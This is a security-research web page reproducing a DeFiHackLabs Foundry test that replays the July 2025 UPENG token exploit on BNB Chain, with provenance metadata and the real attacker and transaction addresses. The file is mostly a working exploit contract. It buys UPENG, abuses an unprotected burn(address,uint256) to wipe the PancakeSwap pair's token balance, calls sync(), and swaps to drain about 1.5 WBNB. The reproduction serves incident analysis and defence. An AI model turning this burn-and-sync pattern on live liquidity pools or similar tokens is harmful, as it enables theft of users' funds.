Skip to content
THREATWIRE

Public reproduction file

src/test/2025-07/UPENGBurnSync_exp.sol

Public reproduction file for dataset entry UPENG.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-07/UPENGBurnSync_exp.sol114 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 1.5 WBNB
8// Attacker : 0x37023A0c3440106Cf50Dc8498Dcd64fdBb1e837A
9// Attack Contract : 0x91b74e8E38290d7B1e0C48F72f4C54312b7F148e
10// Vulnerable Contract : 0x4303cdDBeF06B5820F10DbC00206f8Bde6749E2F
11// Vulnerable Pair : 0xB29b0E7545E7252e8db380C5C010Cb1ef6990cac
12// Attack Tx : https://bscscan.com/tx/0x33de1ed2d33f79e9b6dfccff8d4536ecda126f4eff18c295f16e9169b4ea5df1
13//
14// @Info
15// Token source is not verified on BscScan.
16//
17// @Analysis
18// Twitter Guy : https://t.me/defimon_alerts/1470
19//
20// Attack summary: The attacker bought UPENG with 0.001 BNB, burned almost the entire UPENG
21// balance held by the Pancake UPENG/WBNB pair via an unprotected burn(address,uint256),
22// synced the pair down to one wei of UPENG, then sold the bought UPENG against the distorted
23// reserves to drain the pair's 1.5 WBNB reserve.
24// Root cause: UPENG exposes an arbitrary-address burn function that lets any caller destroy
25// the pair's token balance, and the permissionless PancakePair.sync() commits that manipulated
26// token balance as reserves before the final swap.
28address constant ATTACKER = 0x37023A0c3440106cf50Dc8498DCd64fDBB1E837A;
29address constant TRACE_ATTACK_CONTRACT = 0x91B74e8e38290D7B1e0C48F72f4c54312B7F148E;
30address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
31address constant UPENG_TOKEN = 0x4303cdDbeF06B5820F10dbC00206F8BDE6749e2f;
32address constant UPENG_WBNB_PAIR = 0xB29B0E7545e7252E8Db380C5C010Cb1eF6990CAc;
33address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
34uint256 constant SEED_BNB = 0.001 ether;
36interface IUPENGBurn {
37 function burn(address account, uint256 amount) external;
40interface ISyncSwapPair is IUniswapV2Pair {
41 function sync() external;
44contract ContractTest is BaseTestWithBalanceLog {
45 address private profitReceiver;
47 function setUp() public {
48 vm.createSelectFork("bsc", 53_877_710);
50 profitReceiver = makeAddr("profitReceiver");
51 fundingToken = WBNB_TOKEN;
52 attacker = profitReceiver;
54 vm.label(ATTACKER, "Attacker EOA");
55 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
56 vm.label(PANCAKE_ROUTER, "Pancake Router");
57 vm.label(UPENG_TOKEN, "UPENG");
58 vm.label(UPENG_WBNB_PAIR, "UPENG/WBNB Pair");
59 vm.label(WBNB_TOKEN, "WBNB");
60 }
62 function testExploit() public balanceLog {
63 _assertPairLayout();
65 vm.deal(address(this), SEED_BNB);
66 uint256 wbnbBefore = IERC20(WBNB_TOKEN).balanceOf(profitReceiver);
68 UPENGBurnSyncAttack attack = new UPENGBurnSyncAttack(profitReceiver);
69 attack.execute{value: SEED_BNB}();
71 uint256 profit = IERC20(WBNB_TOKEN).balanceOf(profitReceiver) - wbnbBefore;
72 assertGt(profit, 1.49 ether);
73 assertLt(profit, 1.51 ether);
74 }
76 function _assertPairLayout() private {
77 assertEq(ISyncSwapPair(UPENG_WBNB_PAIR).token0(), UPENG_TOKEN);
78 assertEq(ISyncSwapPair(UPENG_WBNB_PAIR).token1(), WBNB_TOKEN);
79 }
82contract UPENGBurnSyncAttack {
83 address private immutable profitReceiver;
85 constructor(
86 address _profitReceiver
87 ) {
88 profitReceiver = _profitReceiver;
89 }
91 receive() external payable {}
93 function execute() external payable {
94 require(msg.value == SEED_BNB, "unexpected seed");
96 address[] memory path = new address[](2);
97 path[0] = WBNB_TOKEN;
98 path[1] = UPENG_TOKEN;
99 Uni_Router_V2(PANCAKE_ROUTER).swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}(
100 0, path, address(this), block.timestamp
101 );
103 uint256 pairUpengBalance = IERC20(UPENG_TOKEN).balanceOf(UPENG_WBNB_PAIR);
104 IUPENGBurn(UPENG_TOKEN).burn(UPENG_WBNB_PAIR, pairUpengBalance - 1);
105 ISyncSwapPair(UPENG_WBNB_PAIR).sync();
107 uint256 upengToSell = IERC20(UPENG_TOKEN).balanceOf(address(this));
108 require(IERC20(UPENG_TOKEN).transfer(UPENG_WBNB_PAIR, upengToSell), "UPENG transfer failed");
110 (uint112 reserve0, uint112 reserve1,) = ISyncSwapPair(UPENG_WBNB_PAIR).getReserves();
111 uint256 wbnbOut = Uni_Router_V2(PANCAKE_ROUTER).getAmountOut(upengToSell, reserve0, reserve1);
112 ISyncSwapPair(UPENG_WBNB_PAIR).swap(0, wbnbOut, profitReceiver, "");
113 }

Analysis

Dataset entry

Public Foundry test for “UPENG” (2025-07-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x37023a0c3440106cf50dc8498dcd64fdbb1e837a

  • Attack Contract

    0x91b74e8e38290d7b1e0c48f72f4c54312b7f148e

  • Vulnerable Contract

    0x4303cddbef06b5820f10dbc00206f8bde6749e2f

  • Attack Tx

    0x33de1ed2d33f79e9b6dfccff8d4536ecda126f4eff18c295f16e9169b4ea5df1

File record

Name
UPENG
Path
src/test/2025-07/UPENGBurnSync_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a97214ddac1af64b11406edb6b0b8cde11f140fc
Language
Solidity
Size
115 lines
Date
2025-07-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-07/UPENGBurnSync_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a97214ddac1af64b11406edb6b0b8cde11f140fc, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.